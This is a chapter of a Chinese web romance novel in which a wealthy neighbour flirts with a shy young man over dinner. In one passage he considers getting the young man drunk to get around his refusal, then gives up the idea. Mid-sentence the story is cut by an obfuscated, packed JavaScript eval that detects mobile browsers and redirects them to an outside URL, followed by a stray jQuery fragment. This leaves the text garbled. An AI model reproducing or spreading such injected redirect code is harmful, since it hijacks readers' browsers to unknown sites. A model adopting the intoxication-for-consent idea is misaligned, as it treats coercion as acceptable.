晚上,九点。
池郁小心地将放在水瓶里养了一天的翡翠兰放上电瓶车,带着两盒草莓蛋糕和一袋子水果回了家。
草莓蛋糕是他和安阿姨学的,第一次抹奶油,不是很熟练,蛋糕表面有些坑洼,因此池郁去买了些红提和蓝莓,想着一并送过去。
小区只有主干道有灯,家门口漆黑一片,电瓶车的灯光驱散了黑暗,池郁轻手轻脚地打开铁门,将电瓶车停在院子里充电。
他看着放在车筐里的小蛋糕和小心带回来的翡翠兰,又看了看时间,有些发愁。
“九点半了……”
这个时候江先生不会已经睡了吧?他现在去打扰是不是不太好?
就在池郁纠结犹豫的时候,隔壁的房子突然亮起了灯。
这种带院落的底层是挨着的,一排三套,池郁在最中间,江悯的房子在右边靠里侧,左边路口住的则是一户老人,暑假回东北探亲去了,目前暂时空着。
此时亮起的就是右边房子客厅灯。
池郁顿了顿,先是把花放回家里插好,而后提着草莓蛋糕和水果试探着敲了敲江悯院子的铁门。
“你好,请问——”
“吱呀。”
只是轻轻一推,铁门就开了。
没锁铁门?
池郁皱起了眉,第一反应就是江悯家里是不是进贼了,他想起今早那些工人搬上搬下的看上去就价值不菲的东西,没再多犹豫,几步走上前敲门。
“请问有人吗?我是隔壁的邻居,我看你们家铁门没有关,有点担心……”
房门被打开。
暖黄色的灯光从门缝中照出来,池郁呆呆地看着开门的人,一时间忘记了下半句话。
只见江悯松松垮垮地套着白色浴袍,头发还湿答答的滴着水,一手推开门的时候,浴袍也跟着下坠。
池郁又看见了今早那一片锁骨,和更下方。
一颗红色的小痣。
心脏猛地漏跳了一拍,池郁只觉得自己好像看见了不该看的东西,慌张移开目光。
这一移开目光,他就对上了江悯那张帅的过分的脸。
池郁更不知道往哪看了,下意识开口道歉:“抱歉,我不知道你在洗澡,我刚从面包店回来,带了点蛋糕和水果,想给你送来,实在对不起,我现在就走。”
他说着,将手里的面包和水果挂在门把手上,转身就想离开。
“等等。”江悯叫住了他。
“我想着你要来,才特意留了门,你来都来了,不进来坐会?”
池郁转回去,犹豫道:“太晚了,不会打扰吗?”
“没关系,不是早上约好的,我还没吃晚饭。”江悯道,“你吃过了吗?要不要一起来吃?”
“还没吃。”池郁道。
“那正好,进来吧。”
江悯没给池郁思考的时间,直接伸手抓住了他的手臂,轻轻一拽,就将他拽入门内。
池郁一个踉跄,险些扑到江悯身上。
他急急地站稳,根本不敢去看近在咫尺的江悯,更不敢往下看对方半露着的浴袍。
“那个……你的衣服……”池郁小声道。
江悯看着他通红的脸,没忍住,很是顺从本心的捏了一下,明知故问:“我的衣服怎么了?”
被捏脸了。
江悯伸手的时候带来一阵清凉的薄荷气息,应该是他用的沐浴乳的味道,伴随着空调的凉气一起,让池郁整个人一激灵。
本应该是清凉的。
但他却觉得,自己被拉的手腕、被捏的脸颊,都快要烧起来了。
“噗……”
池郁完全懵了,一直到再次听见江悯的轻笑声,才磕绊着开口:“您、您的衣服没有穿好……”
他太紧张了,连敬称都冒了出来。
“这样啊。”江悯慢吞吞地把领子提了上去,但没松开拉着池郁手腕的手。
才九点,还早呢。
江悯很自然拿了双拖鞋给池郁:“对了,记得把门外挂着的蛋糕拿进来,外面热,别化了。”
池郁下意识听话地去取蛋糕,一直到拎着蛋糕关上房门的时候,才突然意识到,自己已经失去了拒绝的机会。
他只能亦步亦趋地跟着江悯走到了客厅。
江悯的客厅是美式田园风的装修,橡木家具与碎花布料,柔和又温暖,池郁小心地打量着四周,忍不住想,和江悯一样。
看上去很冷很不好接近,其实特别好,又温柔,又……
薄荷的冷香再次袭来。
池郁一抬头,才发现江悯不知何时拿来了两个高脚杯,将其中一个杯子递给了他。
“陪我喝一杯?”
池郁接过高脚杯,看向桌子上没开的红酒与烛台,以及桌上摆着的芝士焗蜗牛,总觉得这有点像烛光晚餐。
“是我让附近的餐厅送来的。”江悯一边落座一边解释,“我做饭一般,怕你吃不惯。”
事已至此,池郁只能硬着头皮落座。
江悯开了红酒给他倒上,池郁看着杯中摇曳的红色液体,终于想起自己最初想说的话。
“今天上午的事……”
“不用道谢了,你已经谢过两遍了。”
“不是。”池郁顿了顿,“您真的去联系赵市长了吗?欠款的事我可以解决,不用麻烦您。”
“还没有。”江悯直接道,“我担心直接这样做太冒犯,所以想先问问你的意思。”
池郁松了一口气,赶忙道:“不用了,我自己可以解决的,谢谢您。”
在江悯说出陈国栋的名字的时候,池郁就意识到了不对,下午的时候特意去搜了搜江悯的名字,知道江悯是京城的江氏集团的前董事长后便了然了。
江氏集团的血雨腥风,是前段时间天天上热搜的程度,哪怕池郁那个时候正在备战高考,也知道江氏集团董事长与家庭决裂,而后宣布隐退离开京城的事。
这种豪门大瓜和他的生活距离太远,之前池郁只当八卦听了一耳朵,根本没关心过江氏的董事长姓甚名谁、是什么模样,没想到现在江悯居然成了他的邻居。
虽然不知道江悯到底为什么离开京城,但池郁觉得,到他这个位置的人,再怎么失势应该也会在搬家之前详细调查邻居的信息,知道他欠陈国栋的钱也不算是什么难事。
甚至找赵市长对于江悯来说可能也就只是一句话的事。
池郁对这一点很清楚,但不妨碍他不想欠江悯这么大一个人情。
见池郁一副松了一口气的样子,江悯摩挲了一下口袋中的卡,有些头疼。
要是池郁图钱还好,他给钱,他出人,一夜风流,钱货两讫。
现在池郁连他的帮助都不接受,怎么看都不像是会接受钱的样子,他总不能强取豪夺吧?这也太人渣了。
前菜是芝士焗蜗牛,汤品是奶油蘑菇汤,主菜是牛排和香煎龙利鱼。
池郁察觉到江悯许久没有说话,叉了块蜗牛肉,小心地道:“还有不是冒犯,是我觉得有点麻烦您,这本来就是我的事。”
“还有那束花,抱歉,我不知道那是翡翠兰……”
“停。”江悯直接打断了池郁的话,无奈地道。
“小郁,我是邀请你来吃饭的,不是听你道歉的,只是一束花而已,和别的花没有本质区别,不要放在心上。”
“而且,你不是已经给过回礼了吗——我挺喜欢这家店的草莓蛋糕的。”
“把我当成普通邻居就行,不用太紧张。”
就是因为没有办法把你当做普通邻居,所以才会在意啊。
池郁没说出口,点点头继续吃饭。
钱送不出去了,江悯干脆暂时歇了心思,开始漫无边际地和池郁闲聊,试图找出池郁别的爱好。
“平时你自己住,就自己做饭吗?上学的时候也是?”
“嗯,午饭在学校吃,晚上自己做饭不是很忙。”
“以后每天打工都要这么晚吗?很辛苦吧?”
“不是,今天是和安阿姨学烘培,加上中午给颜颜补课,明天不补课就会早一点。”
“那你平时除了打工还会做什么吗?”
“……家教?”
“……这不也是打工吗,算了。”
江悯说着说着把自己说笑了。
不想太粗暴闹得双方不欢而散是一回事,但他这么迂回做什么?这根本不是他的风格,直接灌醉带走不就好了。
灌醉了可就不算是他强取豪夺了。
这么想着,江悯直接对池郁举起了酒杯。
“小郁,喝一杯?”
池郁完全没察觉到对面的坏心思,乖巧又生疏地拿起红酒杯。
江悯看着他的动作,失笑:“你不会喝酒?”
池郁实话实说:“不会。”
江悯莫名就心软了半截,看着池郁那张漂亮的脸,突然觉得自己有点罪恶。
算了,不会就不会吧,慢慢来也行。
小蛋糕不也是要一口一口慢慢吃的。
江悯放下了酒杯,站起身来:“那我去给你热杯牛奶,小朋友?”
池郁:“……谢谢?”
他感觉江悯好像在笑他,但仔细看来江悯脸上也没有嘲笑的表情。
真的好奇怪。
池郁觉得周遭好像弥漫着自己无法理解的氛围,心跳加速的同时,就连拿叉子的手指尖好像都在发烫。
他没有和江悯这样的年长者相处过,更无从得知现在的怪异感来自哪里,最终只能归结于自己太紧张。
“诺,牛奶。”
脸颊突然一热。
是江悯用微波炉热了瓶牛奶,直接将牛奶的瓶子贴在了他的脸上。
又来了,薄荷的冷香。
这个人为什么连手腕都带着薄荷的气息?
池郁怔怔地接过牛奶,又说了声“谢谢”,而后便感觉到身边一暗。
是扶着他坐的椅背弯下了腰来。
邻居家的这位哥哥似乎很没有距离感的概念,像是没有骨头的大猫似的,几乎快要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453040|169502||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
靠到他的肩膀上。
对方的松松垮垮的衣服又掉了下来,池郁只觉得自己的尾椎骨好像都在发麻。
“小郁。”他听见江悯轻声道。
“你觉得我怎么样?”
咚咚、咚咚咚。
太暧昧了,心跳声止不住。
池郁捏着牛奶的瓶子,满脑子那一截晃来晃去的白皙的锁骨,几乎是下意识地脱口而出。
“你身上好香,哥哥。”
江悯“噗”的一声笑了。
果然还是小孩子,他费尽心思勾引了半天,结果池郁只闻到了他身上的沐浴乳的味道。
怎么这么……单纯。
池郁在江悯笑出声的时候就已经脸红的彻底,恨不得原地消失。
——他到底都在回答些什么失礼的话啊??
江悯那些心思已经歇了大半,他看着完全没有意识到现在是什么情况的池郁,最终低笑了一声,坐回了自己的座位,笑眯眯地火上浇油:
“叫我哥哥也可以,江先生确实有点生疏了。”
“再叫声听听?”
池郁看上去快要钻到桌子底下去了。
江悯故作失望:“不愿意啊,那算了,吃饭吧,你明天还要上班吧?别在我家耽误的太晚。”
江悯这样善解人意,池郁反而觉得是自己想太多,讷讷地拿起刀叉继续用餐。
……
十一点。
熬过食不知味的一餐,池郁拿着江悯给他塞的一袋子牛奶,手机上加上了江悯的好友,晕乎乎地出了江悯的家门。
江悯一直送他到了铁门处,笑道:“以后你下班没事可以来找我,我刚搬过来,也不认识什么人,一个人住怪无聊的,你是我认识的第一个邻居。”
对啊,他们是邻居。
邻居之间友善一点也是正常的。
池郁自觉自己终于找到了他和江悯的关系定义,呼出一口气,如释重负般点了点头:“好。”
心跳总算平静下来了。
江悯在门内不太熟练地锁铁门,池郁站在外面用手机给他打光,建议道:“您可以在院子里装盏感应灯,江先生。”
他之前就想过装个灯,奈何舍不得花这份钱,一直用手电筒凑合着,江悯没必要受这种委屈。
江悯终于锁好了铁链,跺了跺脚驱赶蚊虫,闻言舒展了眉眼:“谢谢啊,我明天就让助理安排。”
池郁点了点头,刚要走,就听见铁门那边的人道:
“不过,下次还是继续叫我哥哥吧,小郁。”
池郁:!
刚停歇下来的心脏又开始乱跳,池郁含糊地应了一声,只当是自己没听清,落荒而逃。
江悯站在原地笑了半天。
他心情愉悦地回屋,一直到发现脚腕上的蚊子包后才止住笑。
二十八岁的江总,人生第一次挨了蚊子的咬。
他面无表情地给林理打电话,让对方送止痒膏的同时,安排了全小区的消杀工作。
.
另一边,池郁提着一袋子的牛奶回家,一直到洗完澡上床也没能平静下来,满脑子自己在江悯面前蠢透了的表现。
他恨铁不成钢地在床上猛滚了两圈,而后打开手机,本是想要搜搜该怎么和江悯这样的人相处。
但对着搜索界面输入又删除了半天,池郁愣是没能找出一个能形容江悯的词,只得放弃。
他本是想睡了,又瞥见了床头那瓶还没喝的牛奶,就拍照识了一下图。
【青原牧场特浓牛乳 200ml装20瓶限时特惠!】
定睛一看价格,四百二。
倒没有翡翠兰那么夸张了,但二十一块钱一瓶的牛奶还是让池郁震惊了一下,再次深刻地意识到了自己和江悯的差距。
真的很不可思议,他居然和这样的人成了邻居。
池郁打开了自己的微信,找到那个新加的好友,看着江悯的空白头像发呆。
他还没来得及给对方备注,因此对方在他这里还显示着原来的昵称,是一个句号。
江悯很礼貌,也很热心,反倒是他不知道为什么一直在害羞回避,虽然身份差距有点大,但这也不是他辜负江悯的热心的理由。
池郁想了想,慢吞吞地打字,给江悯发去了信息。
另一边。
“你是说,你把他带回家,你们单纯吃饭吃到十一点,然后你决定给全小区消杀并且给全小区的街道装上感应灯?”
林理接到电话后便去给江悯采购驱蚊用品了,此时在电话里的声音听起来有点生无可恋。
“少爷,请问你是约炮还是和物业约饭?”
江悯已经回了卧室,他随手将丢在床上的安全套放进了床头的抽屉里,弯眸笑道:“你不懂。”
说话间,手机嗡鸣了两声。
江悯开了免提,退出通话界面查看消息。
【小郁:我到家了,谢谢您请我吃饭,有机会的话我也请您一顿饭吧?】
【小郁:晚安,哥哥。】